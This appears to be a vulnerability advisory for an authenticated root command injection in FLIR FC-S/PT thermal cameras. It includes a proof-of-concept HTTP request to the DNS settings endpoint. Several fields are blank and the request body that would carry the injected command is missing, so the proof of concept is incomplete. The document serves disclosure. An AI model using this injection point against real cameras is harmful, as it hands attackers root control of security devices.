FLIR Thermal Camera FC-S/PT - Command Injection

ID: 94272
CVE: None
Download vulnerable application: None
FLIR Systems FLIR Thermal Camera FC-S/PT Authenticated OS Command Injection

Vendor: FLIR Systems, Inc.
Product web page:
Affected version: Firmware version:
                  Software version:
                  Release: 1.4.1, 1.4, 1.3.4 GA, 1.3.3 GA and 1.3.2
                  FC-Series S (FC-334-NTSC)
                  PT-Series (PT-334 200562)

Summary: Get the best image detail in challenging imaging environments with the
FLIR FC-Series S thermal network camera. The award-winning FC-Series S camera
sets the industry standard for high-quality thermal security cameras, ideal for
perimeter protection applications. The FC-Series S is capable of replacing multiple
visible cameras and any additional lighting and infrastructure needed to support

Desc: FLIR FC-S/PT series suffer from an authenticated OS command injection vulnerability.
This can be exploited to inject and execute arbitrary shell commands as the root user.

Tested on: Linux 2.6.18_pro500-davinci_evm-arm_v5t_le
           Linux 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082
           Nexus Server/
           Nexus Server/
           Nexus Server/

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2017-5437
Advisory URL:



PoC request (sleep 17):

POST /page/maintenance/lanSettings/dns HTTP/1.1
Content-Length: 64
Accept: */*
Origin: http://TARGET
X-Requested-With: XMLHttpRequest
User-Agent: Testingus/1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://TARGET/maintenance
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Cookie: PHPSESSID=d1eabfdb8db4b95f92c12b8402abc03b
Connection: close

1-4-2 (www01)